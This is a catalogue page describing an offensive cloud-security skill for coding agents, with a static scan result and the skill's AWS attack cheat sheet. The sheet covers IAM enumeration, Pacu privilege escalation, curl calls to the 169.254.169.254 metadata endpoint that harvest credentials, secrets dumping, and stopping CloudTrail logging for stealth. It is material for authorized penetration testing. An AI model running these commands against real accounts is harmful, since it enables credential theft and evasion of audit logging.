cloud-security

cloud-security is a skill for Claude Code, Codex from jessefmoore/offensive-claude-code. It costs 30 tokens per session (1,555 once invoked), scanned C, original, MIT.

A collection of guidance for testing the security of cloud systems such as AWS, Azure, and Google Cloud, including containers, Kubernetes, serverless functions, and infrastructure configuration.

In plain words
What is it for?
Use it for authorized cloud penetration tests, privilege-escalation checks, container and Kubernetes assessments, serverless reviews, and Terraform or CloudFormation audits.
Why use it?
It brings together checks for common cloud weaknesses, such as excessive permissions, exposed storage, stolen credentials, and paths to higher access.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is trivy config ./terraform/.

Good fit Use it for authorized cloud penetration tests, privilege-escalation checks, container and Kubernetes assessments, serverless reviews, and Terraform or CloudFormation audits.

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade C, and why

cloud-security scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# Extract credentials from ADSync database → DCSync

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

Cloud Security & Attack

When to Activate

  • Cloud infrastructure penetration testing
  • AWS/Azure/GCP privilege escalation
  • Container and Kubernetes security assessment
  • Serverless function exploitation
  • IaC (Terraform/CloudFormation) security review
  • Cloud credential abuse and lateral movement

AWS Attacks

Initial Enumeration

# Caller identity
aws sts get-caller-identity

# Account enumeration
aws iam list-users
aws iam list-roles
aws iam list-policies --only-attached
aws iam get-account-authorization-details  # full dump

# S3 enumeration
aws s3 ls
aws s3 ls s3://bucket-name --recursive
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# EC2
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,State.Name,PublicIpAddress,IamInstanceProfile.Arn]'

# Lambda
aws lambda list-functions
aws lambda get-function --function-name NAME  # includes download link
aws lambda get-policy --function-name NAME

Privilege Escalation

# Pacu (automated AWS exploitation)
pacu
> import_keys --all
> run iam__enum_permissions
> run iam__privesc_scan
> run iam__bruteforce_permissions

# Common privesc paths:
# iam:CreatePolicyVersion → create admin policy version
# iam:SetDefaultPolicyVersion → activate old permissive version
# iam:AttachUserPolicy → attach AdministratorAccess
# iam:CreateLoginProfile → create console password for any user
# iam:UpdateLoginProfile → change any user's password
# iam:PassRole + lambda:CreateFunction → create Lambda with admin role
# iam:PassRole + ec2:RunInstances → launch EC2 with admin role
# sts:AssumeRole → assume cross-account admin role
# lambda:UpdateFunctionCode → inject code into existing Lambda

# SSRF to IMDS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns: AccessKeyId, SecretAccessKey, Token

Post-Exploitation

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id NAME
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

# RDS snapshots (public)
aws rds describe-db-snapshots --snapshot-type public

# CloudTrail disruption (stealth)
aws cloudtrail describe-trails
aws cloudtrail stop-logging --name trail-name  # LOUD but effective
# Better: use regions without CloudTrail, or use API calls that aren't logged

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

cloud-security is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 1mo ago), licensed MIT. It adds 30 tokens to every session and 1,555 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it C with 3 findings (harvests environment variables, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
